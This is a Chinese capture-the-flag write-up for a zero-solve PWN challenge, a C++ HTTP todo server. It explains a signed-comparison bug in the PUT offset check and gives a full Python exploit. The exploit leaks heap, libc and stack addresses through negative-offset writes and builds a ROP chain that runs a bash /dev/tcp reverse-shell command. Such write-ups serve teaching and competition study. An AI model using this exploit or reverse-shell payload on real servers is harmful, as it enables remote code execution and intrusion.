第十八届信息安全大赛 && 第二届长城杯 0解PWN题--server解法
字数 1049 2025-08-22 12:22:30
第十八届信息安全大赛 & 第二届长城杯 0解PWN题--server解法详解
题目概述
这是一道来自第十八届信息安全大赛和第二届长城杯的PWN题目,名为"server"。题目只提供了ld和libc文件,但实际运行还需要其他链接库。这道题目在比赛中是0解题目,难度较高。
环境准备
由于题目运行需要额外的链接库,解决方法是通过Docker下载对应的Ubuntu版本,从中提取所需的链接库:
- 使用Docker下载对应版本的Ubuntu镜像
- 从镜像中提取缺失的链接库文件
- 将这些库文件与题目提供的ld和libc一起使用
代码分析
路由功能分析
程序使用C++编写,主要功能是实现了多个HTTP路由:
sub_383A8(v23, sub_AC9B);
sub_2AE40((__int64)v22, (__int64)"/register", (__int64)&v9);
sub_20136((__int64)&unk_D8820, (__int64)v22, (__int64)v23); // POST
sub_383A8(v23, sub_B200);
sub_2AE40((__int64)v22, (__int64)"/login", (__int64)&v9);
sub_20136((__int64)&unk_D8820, (__int64)v22, (__int64)v23); // POST
sub_383A8(v23, sub_B8F7);
sub_2AE40((__int64)v22, (__int64)"/logout", (__int64)&v9);
sub_20136((__int64)&unk_D8820, (__int64)v22, (__int64)v23); // POST
sub_383A8(v23, sub_C2C8);
sub_2AE40((__int64)v22, (__int64)"/todos", (__int64)&v9);
sub_20136((__int64)&unk_D8820, (__int64)v22, (__int64)v23); // POST
sub_383A8(v23, sub_CBC7);
sub_2AE40((__int64)v22, (__int64)"/todos/(\\d+)", (__int64)&v9);
sub_2006C(&unk_D8820, v22, v23); // GET
sub_383A8(v23, sub_D15D);
sub_2AE40((__int64)v22, (__int64)"/todos", (__int64)&v9);
sub_2006C(&unk_D8820, v22, v23); // GET
sub_383A8(v23, sub_D590);
sub_2AE40((__int64)v22, (__int64)"/todos/(\\d+)(?:/(\\d+))?", (__int64)&v9);
sub_20200(&unk_D8820, v22, v23); // PUT
sub_383A8(v23, sub_DD5E);
sub_2AE40((__int64)v22, (__int64)"/todos/(\\d+)", (__int64)&v9);
sub_202CA(&unk_D8820, v22, v23); // DELETE
用户认证机制
使用/register和/login路由进行用户注册和登录:
# 注册用户
res = response.post(url + "/register", data={"username": 'AAAAA', "password": "123456"})
print(res.text)
# 用户登录
response.post(url + "/login", data={"username": 'AAAAA', "password": "123456"})
print(response.cookies)
Todo功能分析
程序实现了Todo功能,主要数据结构如下:
struct todo {
char *content;
int _if_size;
int size;
char *todo_author;
};
POST /todos
创建新的Todo项,类似于堆块申请:
res = response.post(url + "/todos", data={"size": 0x80000})
GET /todos/(\d+)
获取指定ID的Todo内容:
res = response.get(url + "/todos/1")
PUT /todos/(\d+)(?:/(\d+))?
修改Todo内容的关键函数,存在漏洞:
sub_29550(qword_D8B60[v13], a1 + 120, v12);
深入分析sub_29550函数:
unsigned __int64 __fastcall sub_29550(__int64 a1, __int64 a2, signed int a3) {
// ...
if (a3 >= *(_DWORD *)(a1 + 8)) {
// 抛出异常
}
v9 = *(_DWORD *)(a1 + 8) - a3;
if (v9 < (unsigned __int64)std::string::size(a2)) {
// 抛出异常
}
dest = (void *)sub_293E4(a1, (unsigned int)a3);
v5 = std::string::size(a2);
v6 = (const void *)std::string::c_str(a2);
memcpy(dest, v6, v5);
// ...
}
漏洞分析
关键漏洞在于PUT路由的偏移检查:
if (a3 >= *(_DWORD *)(a1 + 8)) {
// 抛出异常
}
这里a3和*(_DWORD *)(a1 + 8)的比较是有符号比较,因此可以传入负数绕过检查,实现向上越界写:
res = response.put(url + "/todos/1/{}".format(str(-0x40 & 0xffffffff)), data=b"\x40")
利用思路
- 任意地址写:利用负数偏移漏洞修改Todo的content指针
- 信息泄露:
- 泄露堆地址:通过修改content指针后读取Todo内容
- 泄露libc地址:通过堆布局获取libc地址
- 栈地址泄露:利用libc中的
environ符号获取栈地址 - ROP攻击:在栈上布置ROP链实现任意代码执行
完整利用过程
1. 初始化环境
from pwn import *
import requests
context(arch='i386', os='linux', log_level="debug")
libc = ELF("./libc.so.6")
url = "http://127.0.0.1:9999"
response = requests.session()
2. 用户注册和登录
# 注册用户
res = response.post(url + "/register", data={"username": 'AAAAA', "password": "123456"})
# 用户登录
response.post(url + "/login", data={"username": 'AAAAA', "password": "123456"})
3. 创建Todo项进行堆布局
# 创建大块用于后续泄露libc地址
res = response.post(url + "/todos", data={"size": 0x80000})
# 创建两个小块用于利用
res = response.post(url + "/todos", data={"size": 0x200})
res = response.post(url + "/todos", data={"size": 0x200})
4. 触发漏洞泄露堆地址
# 使用负数偏移修改content指针上方数据
res = response.put(url + "/todos/1/{}".format(str(-0x40 & 0xffffffff)), data=b"\x40")
# 读取修改后的content获取堆地址
res = response.get(url + "/todos/1")
test = res.text
heap = u64(test[len("Todo content: "):].ljust(0x8, "\x00"))
5. 修改content指针泄露libc地址
# 修改content指针指向堆上某个可能包含libc地址的位置
res = response.put(url + "/todos/1/{}".format(str(-0x10 & 0xffffffff)), data=p64(heap - 0x270))
# 读取libc地址
res = response.get(url + "/todos/1")
test = res.text
libc_addr = u64(test[len("Todo content: "):].ljust(0x8, "\x00"))
libc.address = libc_addr + 0x997fff0
6. 泄露栈地址
# 修改content指针指向libc中的environ符号
res = response.put(url + "/todos/1/0", data=p64(libc.sym['environ']))
# 读取栈地址
res = response.get(url + "/todos/0")
test = res.text
stack_addr = u64(test[len("Todo content: "):].ljust(0x8, "\x00")) - 0x300 - 0x30
7. 构造ROP链
# 准备反弹shell命令
res = response.put(url + "/todos/2/0", data=b'bash -c "sh -i >& /dev/tcp/127.0.0.1/2333 0>&1"')
# 查找gadget
pop_rdi = 0x000000000010f75b + libc.address
cmd = heap + 0x270
# 尝试覆盖多个可能的返回地址位置
res = response.put(url + "/todos/1/0", data=p64(libc.address - 0x8ef938))
res = response.put(url + "/todos/0/0", data=p64(pop_rdi + 1) + p64(pop_rdi) + p64(cmd) + p64(libc.sym['system']))
res = response.put(url + "/todos/1/0", data=p64(libc.address - 0xee938))
res = response.put(url + "/todos/0/0", data=p64(pop_rdi + 1) + p64(pop_rdi) + p64(cmd) + p64(libc.sym['system']))
总结
这道题目的关键点在于:
- 发现PUT路由中的有符号整数比较漏洞,允许负数偏移
- 利用该漏洞修改content指针实现任意地址读写
- 通过堆布局泄露libc地址
- 利用libc中的
environ符号泄露栈地址 - 通过多次尝试覆盖可能的返回地址位置实现ROP攻击
由于栈地址的不确定性,利用需要多次尝试不同的偏移,但成功率较高。这种类型的漏洞在现实中的Web应用程序中也值得警惕,特别是当应用程序直接使用数值参数而不进行充分验证时。